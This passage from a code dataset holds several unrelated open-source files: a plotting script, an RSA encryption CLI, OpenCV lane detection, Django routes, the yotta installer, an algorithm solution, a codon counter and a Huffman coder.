DE BARRAS CON UNA COLUMNA COMO EJE X Y OTRA COMO EJE Y\r\n\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\n# Cargar los datos y preparar el DataFrame\r\ndf = pd.read_csv(r'D:\\Germán\\Desktop\\Python Files\\automobile.csv')\r\ndf = df.dropna(axis=0)\r\n\r\n# Gráfico de barras\r\ndf.plot(x='horsepower', y='price', kind='bar')\r\nplt.xticks(rotation=45) # Rotar los valores en el eje x para una mejor legibilidad\r\nplt.tight_layout() # Ajustar el diseño para evitar recortes en las etiquetas\r\nplt.show()\r\n","repo_name":"GermanMer/Matplotlib","sub_path":"07_Pandas_Matplotlib_X_Y_bar.py","file_name":"07_Pandas_Matplotlib_X_Y_bar.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26013694398","text":"#\n# RSAエンコードCLI\n#\n\nimport argparse\nimport io\nimport sys\nfrom typing import BinaryIO, List, Optional, TextIO\n\nfrom ..core import RSAKey\nfrom ..core.encode import RSAEncoder\n\n\ndef main() -> int:\n \"\"\"RSAエンコードCLIの実装\n\n Returns:\n int: 終了コード\n \"\"\"\n\n # コマンドライン引数をパース\n parser = argparse.ArgumentParser(prog='myrsaencode', description=\"RSA encryption\")\n parser.add_argument(\"--key_file\", \"-k\", type=str, required=True, help=\"RSA key file\")\n parser.add_argument(\"--input_file\", \"-i\", help=\"output destination of decoded data\")\n parser.add_argument(\"--output_file\", \"-o\", help=\"output destination of decoded data\")\n parser.add_argument(\"data\", type=str, nargs=\"*\", help=\"data to encode\")\n args = parser.parse_args()\n\n # 入出力を構成\n try:\n input_source = configure_input_source(args)\n output_source = configure_output_source(args)\n except RuntimeError as e:\n print(f\"Failed to configure input/output source: {e}\")\n return 1\n\n # 鍵ファイルから鍵オブジェクトを構成し、エンコーダを初期化\n try:\n key_file_path: str = args.key_file\n if not key_file_path.endswith(\".pubkey\"):\n raise ValueError(\"file name of public key must ends with .pubkey\")\n\n with open(key_file_path) as f:\n public_key = RSAKey.deserialize(f.read())\n except Exception as e:\n print(f\"Failed to load RSA key file: {e}\")\n return 1\n\n encoder = RSAEncoder(public_key)\n\n # 入力ソースから読み込み、エンコーダに通して出力に書き出す\n with input_source, output_source:\n # 改行を削除\n input_data = input_source.read().replace(\"\\r\", \"\").replace(\"\\n\", \"\")\n output_source.write(encoder.encode(input_data))\n\n return 0\n\n\ndef configure_input_source(args: argparse.Namespace) -> TextIO:\n \"\"\"コマンドライン引数から入力ソースを構成\n\n Args:\n args (argparse.Namespace): コマンドライン引数\n\n Returns:\n TextIO: 構成された入力ソース。\n\n Raises:\n RuntimeError: 入力ソースの構成に失敗した場合。\n\n Note:\n 入力は 実行引数data, オプション --input_file, 標準入力の3種類をとります。\n dataと--input_fileのいずれかが指定されている場合はそれらを用い、\n どちらも指定がなければ標準入力から読み込みます。\n これらを同時に指定した場合は例外が送出されます。\n \"\"\"\n\n try:\n data: List[str] = args.data\n input_file: Optional[str] = args.input_file\n except AttributeError:\n raise RuntimeError(\"bad command-line argument\")\n\n if len(data) > 0 and input_file is not None:\n raise RuntimeError(\"cannot specify both argument data and option input_file\")\n\n if len(data) > 0:\n return io.StringIO(\" \".join(data))\n elif input_file is not None:\n try:\n return open(input_file)\n except Exception:\n raise RuntimeError(f\"failed to open specified file: {input_file}\")\n else:\n return sys.stdin\n\n\ndef configure_output_source(args: argparse.Namespace) -> BinaryIO:\n \"\"\"コマンドライン引数から出力ソースを構成\n\n Args:\n args (argparse.Namespace): コマンドライン引数\n\n Returns:\n TextIO: 構成された出力ソース\n\n Raises:\n RuntimeError: 出力ソースの構成に失敗した場合。\n\n Note:\n 出力は オプション output_file が指定されている場合はバイナリモードで開き、それを使用します。\n オプションが渡されなかった場合は標準出力に書き出されます。\n \"\"\"\n\n try:\n output_file: Optional[str] = args.output_file\n except AttributeError:\n raise RuntimeError(\"bad command-line argument\")\n\n if output_file is None:\n return sys.stdout.buffer\n\n try:\n return open(output_file, \"wb\")\n except Exception:\n raise RuntimeError(f\"failed to open specified file: {output_file}\")\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","repo_name":"Enchan1207/RSAimpl","sub_path":"src/myrsa/cli/encoder_cli.py","file_name":"encoder_cli.py","file_ext":"py","file_size_in_byte":4213,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"43277057068","text":"import matplotlib.pyplot as plt\nimport cv2\nimport numpy as np\n\ndef canny(image):\n # convert to gray scale\n # print(image.size)\n image = np.array(image, dtype=np.uint8)\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n # smooth\n kernel_size = 5\n blur = cv2.GaussianBlur(gray, (kernel_size,kernel_size), 0)\n\n # canny edge detection\n return cv2.Canny(blur, 60, 180)\n\ndef region_of_interest(image):\n imshape = image.shape\n bottom_left = (150, imshape[0])\n bottom_right = (imshape[1], imshape[0])\n top_left = ((imshape[1]-40)//2, imshape[1]//3)\n top_right = ((imshape[1]+40)//2, imshape[1]//3)\n polygon = np.array([\n [\n bottom_left,\n top_left,\n top_right,\n bottom_right\n ]\n ])\n mask = np.zeros_like(image)\n cv2.fillPoly(mask, polygon, 255)\n masked_image = cv2.bitwise_and(mask, image)\n return masked_image\n\ndef hough(image):\n rho = 2\n theta = np.pi/180\n threshold = 100\n placeholder = np.array([])\n return cv2.HoughLinesP(image, rho, theta, threshold, placeholder, minLineLength=20, maxLineGap=30)\n\ndef get_coordinates(image, averages):\n # print(averages.size)\n # print(averages)\n if averages.size == 1:\n return np.array([[870, 540, 517, 324]])\n m, b = averages\n y1 = image.shape[0]\n y2 = int(y1*(3/5))\n x1 = int((y1 - b)/m)\n x2 = int((y2 - b)/m)\n print([x1, y1, x2, y2])\n return np.array([x1, y1, x2, y2])\n\ndef slope_intercept(image, lines):\n if lines is not None:\n left = []\n right = []\n for line in lines:\n x1, y1, x2, y2 = line.reshape(4)\n # print((x1,x2),(y1,y2), \"x1,x2,y1,y2\")\n m, b = np.polyfit((x1,x2), (y1,y2), 1)\n # print(m)\n if m < 0:\n # print((m,b))\n left.append((m, b))\n else:\n right.append((m, b))\n left_avg = np.average(left, axis=0)\n right_avg = np.average(right, axis=0)\n # print(left_avg, \"left\")\n # print(right_avg, \"right\")\n\n # print(\"+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\")\n left_line = get_coordinates(image, left_avg)\n right_line = get_coordinates(image, right_avg)\n return np.array([left_line, right_line])\n\ndef draw_lines(image, lines):\n line_image = np.zeros_like(image)\n if lines is not None:\n for line in lines:\n x1, y1, x2, y2 = line.reshape(4)\n cv2.line(line_image, (x1, y1), (x2, y2), (0, 0, 255), thickness=8)\n return line_image\n\n# read the image\n# image = cv2.imread('test_images/solidWhiteCurve.jpg')\n# image_copy = np.copy(image)\n# canny_image = canny(image)\n#\n# # set the area of interest\n# masked_image = region_of_interest(canny_image)\n#\n# # hough transform\n# lines = hough(masked_image)\n#\n# # extrapolated\n# extrapolated_lines = slope_intercept(image_copy, lines)\n#\n# # draw the lines\n# line_image = draw_lines(image_copy, extrapolated_lines)\n#\n# # weighted sum to draw lines onto the original image\n# combined = cv2.addWeighted(image_copy, 0.8, line_image, 1, 1)\n\n# display the image\n# cv2.imshow('result', combined)\n# if cv2.waitKey(0) == 'q':\n# cv2.destroyAllWindows()\n# exit(0)\n\ncap = cv2.VideoCapture('test_videos/solidWhiteRight.mp4') #test_videos/solidWhiteRight.mp4')\nwhile cap.isOpened():\n _, frame = cap.read()\n\n if not type(frame) is np.ndarray:\n continue\n # cv2.imshow('res', image)\n\n # image_copy = np.copy(image)\n canny_image = canny(frame)\n\n # set the area of interest\n cropped_image = region_of_interest(canny_image)\n\n # hough transform\n lines = hough(cropped_image)\n\n # extrapolated\n averaged_lines = slope_intercept(frame, lines)\n\n # draw the lines\n line_image = draw_lines(frame, averaged_lines)\n\n # weighted sum to draw lines onto the original image\n combined = cv2.addWeighted(frame, 0.8, line_image, 1, 1)\n\n cv2.imshow('result', combined)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n","repo_name":"vikramriyer/Drive_A_Car_Using_Basic_Computer_Vision","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12048890272","text":"\nfrom django.urls import path\n\nfrom vamp_hosts import views\n\nurlpatterns = [\n # All files\n path('', views.list_hosts, name='list_hosts'),\n path('/view/', views.view_host, name='view_host'),\n path('/add/tag/', views.host_add_tag, name='host_add_tag'),\n path('/finding///', views.view_ops_finding, name='view_ops_finding'),\n path('/finding//reset/exception/', views.reset_exception_request, name='reset_exception_request'),\n path('/finding//reset/ignore/', views.reset_ignore_request, name='reset_ignore_request'),\n]\n","repo_name":"zeroq/vamp","sub_path":"vamp_hosts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23657149332","text":"import argparse\nimport logging\nimport os\n\n# Component, , represents an installed component, internal\nfrom yotta.lib import component\n# access, , get components, internal\nfrom yotta.lib import access\n# access, , get components, internal\nfrom yotta.lib import access_common\n\n# folders, , get places to install things, internal\nfrom yotta.lib import folders\n# --config option, , , internal\nfrom yotta import options\n\ndef addOptions(parser):\n options.config.addTo(parser)\n parser.add_argument('component', default=None, nargs='?',\n help='If specified, install this module instead of installing '+\n 'the dependencies of the current module.'\n )\n parser.add_argument('--test-dependencies', dest='install_test_deps',\n choices=('none', 'all', 'own'), default='own',\n help='Control the installation of dependencies necessary for building tests.'\n )\n group = parser.add_mutually_exclusive_group()\n group.add_argument('--global', '-g', dest='act_globally', default=False, action='store_true',\n help='Install globally instead of in the current working directory.'\n )\n\n # Deprecated options, these now do nothing! --save behavior is the default,\n # and --save-target has been removed.\n group.add_argument('--save', dest='save', action='store_true',\n default=False, help=argparse.SUPPRESS\n )\n group.add_argument('--save-target', dest='save_target',\n action='store_true', default=False, help=argparse.SUPPRESS\n )\n\n\ndef execCommand(args, following_args):\n if not hasattr(args, 'install_test_deps'):\n vars(args)['install_test_deps'] = 'none'\n if getattr(args, 'save', None):\n logging.warning('the --save option is now the default and is ignored. It will be removed soon.')\n if getattr(args, 'save_target', None):\n logging.warning('the --save-target is now ignored. It will be removed soon.')\n cwd = os.getcwd()\n c = component.Component(cwd)\n if args.component is None:\n return installDeps(args, c)\n elif c or c.exists():\n return installComponentAsDependency(args, c)\n else:\n return installComponent(args)\n\ndef checkPrintStatus(errors, components, top_component, target):\n status = 0\n for error in errors:\n logging.error(error)\n status = 1\n for c in list(components.values()) + [top_component]:\n if c and c.getError():\n logging.error('%s %s', c.getName(), c.getError())\n status = 1\n leaf_target = None\n if target and target.hierarchy:\n for t in target.hierarchy:\n if not leaf_target:\n leaf_target = t\n if t and t.getError():\n if t is leaf_target:\n logging.error('target %s %s', t.getName(), t.getError())\n else:\n logging.error('base target %s of %s %s', t.getName(), leaf_target.getName(), t.getError())\n status = 1\n return status\n\n\ndef installDeps(args, current_component):\n # settings, , load and save settings, internal\n from yotta.lib import settings\n\n logging.debug('install deps for %s' % current_component)\n if not current_component:\n logging.debug(str(current_component.getError()))\n logging.error('The current directory does not contain a valid module.')\n return 1\n # warn if the target hasn't been explicitly specified when running a build:\n # this is likely user-error\n if not settings.getProperty('build', 'targetSetExplicitly') and not \\\n getattr(args, '_target_set_explicitly', False):\n logging.warning(\n 'The build target has not been set, so the default (%s) is being ' +\n 'used. You can use `yotta target ` to set the build ' +\n 'target. See http://docs.yottabuild.org/tutorial/targets.html for '\n 'more information on using targets.',\n args.target\n )\n target, errors = current_component.satisfyTarget(args.target, additional_config=args.config)\n if errors:\n for error in errors:\n logging.error(error)\n return 1\n if args.act_globally:\n # the npm behaviour here would be to install the working directory\n # module into the global modules dir\n raise NotImplementedError()\n else:\n # satisfyDependenciesRecursive will always prefer to install\n # dependencies in the yotta_modules directory of the top-level module,\n # so it's safe to set traverse_links here when we're only *installing*\n # modules (not updating them). This will never result in\n # Spooky-Action-Through-A-Symlink.\n components, errors = current_component.satisfyDependenciesRecursive(\n target = target,\n traverse_links = True,\n available_components = [(current_component.getName(), current_component)],\n test = {'own':'toplevel', 'all':True, 'none':False}[args.install_test_deps]\n )\n return checkPrintStatus(errors, components, current_component, target)\n\n\n\ndef installComponentAsDependency(args, current_component):\n logging.debug('install component %s as dependency of %s' % (args.component, current_component))\n if not current_component:\n logging.debug(str(current_component.getError()))\n logging.error('The current directory does not contain a valid module.')\n return -1\n target, errors = current_component.satisfyTarget(args.target, additional_config=args.config)\n if errors:\n for error in errors:\n logging.error(error)\n return 1\n modules_dir = current_component.modulesPath()\n\n from yotta.lib import sourceparse\n # check if we have both a name and specification\n component_name, component_spec = sourceparse.parseModuleNameAndSpec(args.component)\n logging.info('%s, %s', component_name, component_spec)\n\n if component_name == current_component.getName():\n logging.error('will not install module %s as a dependency of itself', component_name)\n return -1\n try:\n installed = access.satisfyVersion(\n component_name,\n component_spec,\n available = {current_component.getName():current_component},\n search_paths = [modules_dir],\n working_directory = modules_dir\n )\n except access_common.AccessException as e:\n logging.error(e)\n return 1\n\n\n # We always add the component to the dependencies of the current component\n # (if it is not already present), and write that back to disk. Without\n # writing to disk the dependency wouldn't be usable.\n if installed and not current_component.hasDependency(component_name):\n vs = sourceparse.parseSourceURL(component_spec)\n if vs.source_type == 'registry':\n saved_spec = current_component.saveDependency(installed)\n else:\n saved_spec = current_component.saveDependency(installed, component_spec)\n\n current_component.writeDescription()\n logging.info('dependency %s: %s written to module.json', component_name, saved_spec)\n else:\n logging.info('dependency %s is already present in module.json', component_name)\n\n # !!! should only install dependencies necessary for the one thing that\n # we're installing (but existing components should be made available to\n # satisfy dependencies)\n components, errors = current_component.satisfyDependenciesRecursive(\n target = target,\n available_components = [(current_component.getName(), current_component)],\n test = {'own':'toplevel', 'all':True, 'none':False}[args.install_test_deps]\n\n )\n return checkPrintStatus(errors, components, current_component, target)\n\n\ndef installComponent(args):\n path = folders.globalInstallDirectory() if args.act_globally else os.getcwd()\n logging.debug('install component %s to %s' % (args.component, path))\n\n from yotta.lib import sourceparse\n # check if we have both a name and specification\n component_name, component_spec = sourceparse.parseModuleNameAndSpec(args.component)\n\n try:\n access.satisfyVersion(\n component_name,\n component_spec,\n available = dict(),\n search_paths = [path],\n working_directory = path\n )\n except access_common.AccessException as e:\n logging.error('%s', e)\n return 1\n os.chdir(component_name)\n return installDeps(args, component.Component(os.getcwd()))\n","repo_name":"ARMmbed/yotta","sub_path":"yotta/install.py","file_name":"install.py","file_ext":"py","file_size_in_byte":8617,"program_lang":"python","lang":"en","doc_type":"code","stars":162,"dataset":"github-code","pt":"37"} +{"seq_id":"25160168062","text":"class Solution:\n def minWindow(self, s: str, t: str) -> str:\n n, m = len(s), len(t)\n target, source = Counter(t), Counter()\n have, need, resultLen = 0, len(target), inf\n result, left = (0, 0), 0\n \n for right, c in enumerate(s):\n source[c] += 1\n if c in target and source[c] == target[c]:\n have += 1\n while have == need:\n if resultLen > (right - left + 1):\n resultLen = right - left + 1\n result = (left, right+1)\n source[s[left]] -= 1\n if s[left] in target and source[s[left]] < target[s[left]]:\n have -= 1\n left += 1\n left, right = result\n return s[left: right]","repo_name":"sidheshwar-s/CrackYourInternship","sub_path":"arsh_goyal_sde_sheet/strings/76. Minimum Window Substring/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"239394744","text":"RNA_AA_dict={'UCC': 'S', 'UAC': 'Y', 'AGU': 'S', 'ACG': 'T', 'UAA': '*', 'UUA': 'L', 'GUC': 'V', 'CAC': 'H', 'CGU': 'R', 'CGG': 'R', 'CUC': 'L', 'AGG': 'R', 'ACA': 'T', 'UCA': 'S', 'CCU': 'P', 'CAG': 'Q', 'ACC': 'T', 'UUC': 'F', 'AUC': 'I', 'AAU': 'N', 'AUA': 'I', 'CAU': 'H', 'GGC': 'G', 'GGG': 'G', 'GCU': 'A', 'GAU': 'D', 'GCA': 'A', 'GCG': 'A', 'GUA': 'V', 'GAC': 'D', 'CUU': 'L', 'CAA': 'Q', 'CCG': 'P', 'AAG': 'K', 'GUU': 'V', 'GGU': 'G', 'UAU': 'Y', 'UGG': 'W', 'AGA': 'R', 'UUU': 'F', 'UAG': '*', 'UGC': 'C', 'GGA': 'G', 'CCA': 'P', 'GCC': 'A', 'CGA': 'R', 'AAA': 'K', 'GUG': 'V', 'CGC': 'R', 'CUG': 'L', 'UCG': 'S', 'UUG': 'L', 'GAA': 'E', 'GAG': 'E', 'UCU': 'S', 'AUU': 'I', 'AAC': 'N', 'ACU': 'T', 'UGU': 'C', 'CUA': 'L', 'AUG': 'M', 'CCC': 'P', 'AGC': 'S', 'UGA': '*'}\nAA_count={}\nfor value in RNA_AA_dict.values():\n if value not in AA_count.keys():\n AA_count[value]=1\n else:\n AA_count[value]+=1\nprint(AA_count)\n\nAA_str=\"VKLFPWFNQY\"\ntotal_number=1\nfor i in AA_str:\n total_number=total_number*AA_count[i]\n\nprint(total_number)\n\n#知道氨基酸序列推测有多少种RNA的可能序列","repo_name":"Hydebutterfy/learn-python","sub_path":"genome sequence/AA_count_DNA.py","file_name":"AA_count_DNA.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"fa","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"71763619628","text":"from Heap import Heap\r\nimport math\r\nimport numpy as np\r\nfrom Byte import Byte\r\n\r\n'''\r\nThe Node class represents each node in a tree\r\nReserved methods:\r\n __init__(self, value, left = None, right = None)\r\n __str__(self)\r\n'''\r\nclass Node:\r\n '''\r\n __init__(self, value, left = None, right = None):\r\n Class constructor\r\n Args:\r\n * value: the value of the node (usually a tuple)\r\n * left: the left child of the node (optional arg)\r\n * right: right child of the node (optional arg)\r\n '''\r\n def __init__(self, value, left = None, right = None):\r\n self.value = value\r\n self.left = left\r\n self.right = right\r\n \r\n '''\r\n __str__(self):\r\n str representation of the class\r\n Return value:\r\n * the value of the class casted to str\r\n '''\r\n def __str__(self):\r\n return str(self.value)\r\n\r\n'''\r\nHuffman implementation for strings and arrays\r\nMethods:\r\n Reserved:\r\n __init__(self, frequency)\r\n __len__(self)\r\n __str__(self)\r\n Private:\r\n __depth(self, node, code)\r\n __freqCountArray(self, img)\r\n __longestBin(self):\r\n __toBin(self, node, code = None, fill = 0):\r\n __huffmanToByte(self):\r\n Public:\r\n code(self, array)\r\n decode(self, string, out=0)\r\n write(self, ft, outName):\r\n read(file):\r\n Static:\r\n genTree(string, step = 0):\r\n huffmanFromByte(obj, step = 0):\r\n'''\r\nclass Huffman:\r\n '''\r\n __init__(self, frequency):\r\n Class constructor, it creates a heap with the frequency followed by\r\n the construction of the huffman tree\r\n Args:\r\n * frequency: ideally is a dictionary, but can be a string, an array or the huffman tree (from the Node class)\r\n '''\r\n def __init__(self, frequency):\r\n if type(frequency) == Node:\r\n # if a node is given it is assumed to be the huffman tree\r\n self.huffmanTree = frequency\r\n # the __depth function is used to create the huffman table with\r\n # all the values codes\r\n self.table = {} # the table with every code of every input from de frequency\r\n self.__depth(self.huffmanTree, '')\r\n self.__size = len(self.table) # the ammount of entries in the frequency dic\r\n else:\r\n # if the frequency has a string, a dictionary is created by counting \r\n # the number of times that each character appears in the string\r\n # and assigning it to a dictionary input\r\n if type(frequency) == str:\r\n self.frequency = {val: frequency.count(val) for val in frequency}\r\n # if the frequency has an array, an auxiliary function is called to\r\n # create the dictionary, see '__freqCountArray' for more info\r\n if type(frequency) == np.ndarray:\r\n self.frequency = self.__freqCountArray(frequency)\r\n\r\n if type(frequency) == dict:\r\n self.frequency = frequency\r\n heap = Heap()\r\n self.huffmanTree = [] # the binary huffman tree\r\n self.table = {} # the table with every code of every input from de frequency\r\n self.__size = len(self.frequency) # the ammount of entries in the frequency dic\r\n\r\n # the frequency must be a dictionary\r\n if type(self.frequency) == dict:\r\n # prepares the heap with initial values\r\n # this is used so every value in the heap\r\n # will already have a node inside it\r\n for i in self.frequency:\r\n # the heap will use the first value as a key, and the\r\n # second value as input for balancing it\r\n # the third is optional and will be used to store the\r\n # huffman tree\r\n # everyting must be inside a tuple: (key, value, node)\r\n heap.push((i, self.frequency[i], Node((i, self.frequency[i]))))\r\n # the operation keeps going until the heap has only one value\r\n # this single value will contain the huffman tree inside its third\r\n # element\r\n while len(heap) > 1:\r\n # the heap is a min heap, so the first removed value\r\n # will always be smaller than the second one\r\n # this way, the left child will have a smaller value\r\n # than the right child\r\n (left, right) = heap.pop(), heap.pop()\r\n nodeLeft = left[2] # assign the node\r\n nodeRight = right[2] # assign the node\r\n # finally a new heap entry is created, with the sum of the\r\n # values from the left and right child\r\n # and its node will be a partent from the left node and the right node\r\n # assigned above\r\n heap.push(('', left[1]+right[1], Node(('', left[1]+right[1]), nodeLeft, nodeRight)))\r\n # after finishing the task, the heap can be emptied\r\n # and the huffman tree taken from the third value of the last tuple\r\n self.huffmanTree = heap.pop()[2]\r\n # the __depth function is used to create the huffman table with\r\n # all the values codes\r\n self.__depth(self.huffmanTree, '')\r\n\r\n '''\r\n __len__(self):\r\n Method called when using the function len()\r\n Return value:\r\n * the number of entries in the constructor dic\r\n ''' \r\n def __len__(self):\r\n return self.__size\r\n\r\n '''\r\n __str__(self):\r\n Method called when using the function str()\r\n Return value:\r\n * string representation of the table of codes\r\n '''\r\n def __str__(self):\r\n return str(self.table)\r\n\r\n '''\r\n __depth(self, node, code):\r\n Auxiliary method used to run a depth search on the huffman tree\r\n and assign a code to each value in the dictionary of frequencies\r\n Args:\r\n * node: the node to be analyzed\r\n * code: string containing the code generated so far to an input\r\n Note that the first node needs to be the root of the huffman tree,\r\n and the code must be an empty string\r\n '''\r\n def __depth(self, node, code):\r\n # if a node has no children, it is a leaf\r\n # and every leaf contains a dictionary entry\r\n if not node.left and not node.right:\r\n # assigns an entry and a value to the tbale dic\r\n self.table[node.value[0]] = code\r\n else:\r\n self.__depth(node.left, code + '0')\r\n self.__depth(node.right, code + '1')\r\n\r\n '''\r\n __freqCountArray(self, img):\r\n Auxiliary function used to create a dictionary of frequencies\r\n from a given array\r\n Args:\r\n * img: array containing values, can be 2d or 3d\r\n Return value:\r\n * a dicitonary with the frequency of each value in the array\r\n '''\r\n def __freqCountArray(self, img):\r\n dic = {}\r\n # for 3d arrays\r\n if len(img.shape) > 2:\r\n for row in img:\r\n for col in row:\r\n for value in col:\r\n real = int(np.real(value))\r\n imag = int(np.imag(value))\r\n # tries to access the dic entry for the real part:\r\n try:\r\n dic[real] = dic[real] + 1\r\n # if the entry does not exist, creates one:\r\n except:\r\n dic[real] = 1\r\n # tries to access the dic entry for the imaginary part:\r\n try:\r\n dic[imag] = dic[imag] + 1\r\n # if the entry does not exist, creates one:\r\n except:\r\n dic[imag] = 1\r\n else:\r\n # for 2d arrays\r\n for row in img:\r\n for value in row:\r\n real = int(np.real(value))\r\n imag = int(np.imag(value))\r\n # tries to access the dic entry for the real part:\r\n try:\r\n dic[real] = dic[real] + 1\r\n # if the entry does not exist, creates one:\r\n except:\r\n dic[real] = 1\r\n # tries to access the dic entry for the imaginary part:\r\n try:\r\n dic[imag] = dic[imag] + 1\r\n # if the entry does not exist, creates one:\r\n except:\r\n dic[imag] = 1\r\n return dic\r\n\r\n '''\r\n code(self, array):\r\n Function used to create a string containing the coded values\r\n of each value in the array\r\n Args:\r\n * array: can be a str or a 2d/3d array \r\n Return value:\r\n * string containing the code for the entire input\r\n '''\r\n def code(self, array):\r\n coded = ''\r\n if type(array) == str:\r\n # if the input is a string, simply add the code of\r\n # each individual letter to the coded string\r\n for letter in array:\r\n coded = coded + self.table[letter]\r\n else:\r\n # if the input is an array, adds the code of\r\n # each value in the array to the coded string\r\n if len(array.shape) > 2:\r\n # 3d arrays\r\n for row in array:\r\n for col in row:\r\n for value in col:\r\n real = int(np.real(value))\r\n imag = int(np.imag(value))\r\n coded += self.table[real] + self.table[imag]\r\n else:\r\n # 2d arrays\r\n for row in array:\r\n for value in row:\r\n real = int(np.real(value))\r\n imag = int(np.imag(value))\r\n coded += self.table[real] + self.table[imag]\r\n return coded\r\n \r\n '''\r\n decode(self, string, out=0):\r\n Converts an string to a set of values\r\n Args:\r\n * string: contains the binary values to be casted to real values\r\n * out: the format of the output, 0 for a string, tuple for a ndarray\r\n Return value:\r\n * the decoded string/ndarray\r\n '''\r\n def decode(self, string, out=0):\r\n if out == 0:\r\n decoded = ''\r\n node = self.huffmanTree\r\n for letter in string:\r\n # jumps left and right inside the tree until\r\n # reaching a leaf\r\n node = node.left if letter == '0' else node.right\r\n if node.value[0] != '':\r\n # when the leaf is found, its value is appended to\r\n # the decoded string and the main node resetted as the root\r\n # of the huffman tree\r\n decoded = decoded + node.value[0]\r\n node = self.huffmanTree\r\n else:\r\n decoded = []\r\n realImg = []\r\n node = self.huffmanTree\r\n for letter in string:\r\n # jumps left and right inside the tree until\r\n # reaching a leaf\r\n node = node.left if letter == '0' else node.right\r\n if node.value[0] != '':\r\n # when the leaf is found, its value is appended to\r\n # the decoded list and the main node resetted as the root\r\n # of the huffman tree\r\n realImg.append(node.value[0])\r\n if len(realImg) == 2:\r\n decoded.append(np.complex(int(realImg[0]), int(realImg[1])))\r\n realImg = []\r\n node = self.huffmanTree\r\n # finally the list is reshaped into the output format\r\n decoded = np.reshape(decoded, out)\r\n return decoded\r\n\r\n '''\r\n __longestBin(self):\r\n Returns the length of the longest binary representation of the values in the frequency dict\r\n '''\r\n def __longestBin(self):\r\n biggest = 0\r\n for i in self.frequency:\r\n if biggest < np.abs(i):\r\n biggest = np.abs(i)\r\n return len('{:b}'.format(np.abs(biggest))) + 1\r\n \r\n '''\r\n __toBin(self, node, code = None, fill = 0):\r\n Auxiliary recursive function used to generate the binary representation of the huffman tree\r\n Args:\r\n * node: the node being evaluated in this iteracion\r\n * code: the binary generated so far\r\n * fill: the pad size of the binary representation of the values \r\n (this way every value uses the same size, this makes the reading possible)\r\n Return value:\r\n * string with the binary representation of the huffman tree\r\n '''\r\n def __toBin(self, node, code = None, fill = 0):\r\n if code == None:\r\n code = ''\r\n if not node.left and not node.right:\r\n return code + '1' + Byte.intToBin(node.value[0], fill)\r\n else:\r\n left = self.__toBin(node.left, code, fill)\r\n right = self.__toBin(node.right, code, fill)\r\n return '0' + left + right\r\n\r\n '''\r\n __huffmanToByte(self):\r\n Generates a byte representation of the huffman tree\r\n '''\r\n def __huffmanToByte(self):\r\n biggest = self.__longestBin()\r\n return Byte(self.__toBin(self.huffmanTree, fill=biggest))\r\n \r\n '''\r\n genTree(string, step = 1):\r\n Rebuilds the huffman tree from a given string\r\n Args:\r\n * string: the binary representation of the huffman tree\r\n * strp: the size of the binary representation of each integer value (in bits)\r\n Return value:\r\n * the huffamn tree (from Node class)\r\n '''\r\n @staticmethod\r\n def genTree(string, step = 0):\r\n if string[0] == '0': # not leaf\r\n string = string[1:] # consumes the leaf/tree flag\r\n left, string = Huffman.genTree(string, step) # the string is returned so the current position will always be updated\r\n right, string = Huffman.genTree(string, step) # the string is returned so the current position will always be updated\r\n # node = (value = empty, left child, right child)\r\n return Node([''], left, right), string\r\n else: # leaf\r\n string = string[1:] # consumes the leaf/tree flag\r\n return Node([str(Byte.binToInt(string[:step]))]), string[step:]\r\n\r\n '''\r\n huffmanFromByte(obj, step = 0):\r\n Uses the genTree method to create a Huffman class and returns it\r\n Args:\r\n * obj: Byte representation of the huffman tree\r\n * step: the size of the binary representation of each integer value (in bits)\r\n Return value:\r\n Huffman class with the values gotten from obj\r\n '''\r\n @staticmethod\r\n def huffmanFromByte(obj, step = 0):\r\n tree, t = Huffman.genTree(Byte.toString(obj.byte), step+1)\r\n return Huffman(tree)\r\n\r\n '''\r\n write(self, ft, outName):\r\n Writes the binary representation of the ft array coded by the huffman code on the instance\r\n Args:\r\n * ft: array representing the image, can be 2d or 3d\r\n * outName: string withe the name of the output\r\n '''\r\n def write(self, ft, outName):\r\n code = self.code(ft)\r\n\r\n byte = Byte(code)\r\n # the below code is used to generate the file header\r\n imgDimension = str(len(ft.shape))+'\\n' # the img dimension\r\n imgShape = ''\r\n for dim in ft.shape:\r\n imgShape += str(dim)+'\\n' # the size of each dimension\r\n longestBin = str(self.__longestBin()) + '\\n'\r\n tree = str(self.__huffmanToByte())\r\n treeSize = str(len(tree)) + '\\n'\r\n \r\n byte.write(outName, imgDimension+imgShape+longestBin+treeSize+tree) # writes the code with the given header\r\n \r\n '''\r\n read(file):\r\n Reads the file and converts it to an array (2d or 3d depending on the written options)\r\n Args:\r\n * file: string with the name of the file to be read\r\n Return value:\r\n * 2d or 3d array representing the image\r\n '''\r\n @staticmethod\r\n def read(file):\r\n imgShape, tree, longestBin, byte = Byte.read(file) # reads the code and the header\r\n\r\n huffman = Huffman.huffmanFromByte(tree, longestBin)\r\n return huffman.decode(Byte.toString(byte.byte), imgShape) # decodes it\r\n'''\r\n### DEBUG ###\r\n#string = \"SUSIE_SAYS_IT_IS_EASY\"\r\nstring = {255: 1, 155: 1, 3: 100, 10: 88, -5: 10}\r\nhuf = Huffman(string)\r\nstep = huf.longestBin()\r\nprint(huf)\r\n#print(huf.__huffmanToByte())\r\nhufByte = huf.__huffmanToByte()\r\nprint(hufByte)\r\nprint(Huffman.huffmanFromByte(hufByte, step))\r\nprint(huf)\r\ncode = huf.code(string)\r\nprint(string)\r\nprint(code)\r\nprint(huf.decode(code))\r\n### DEBUG 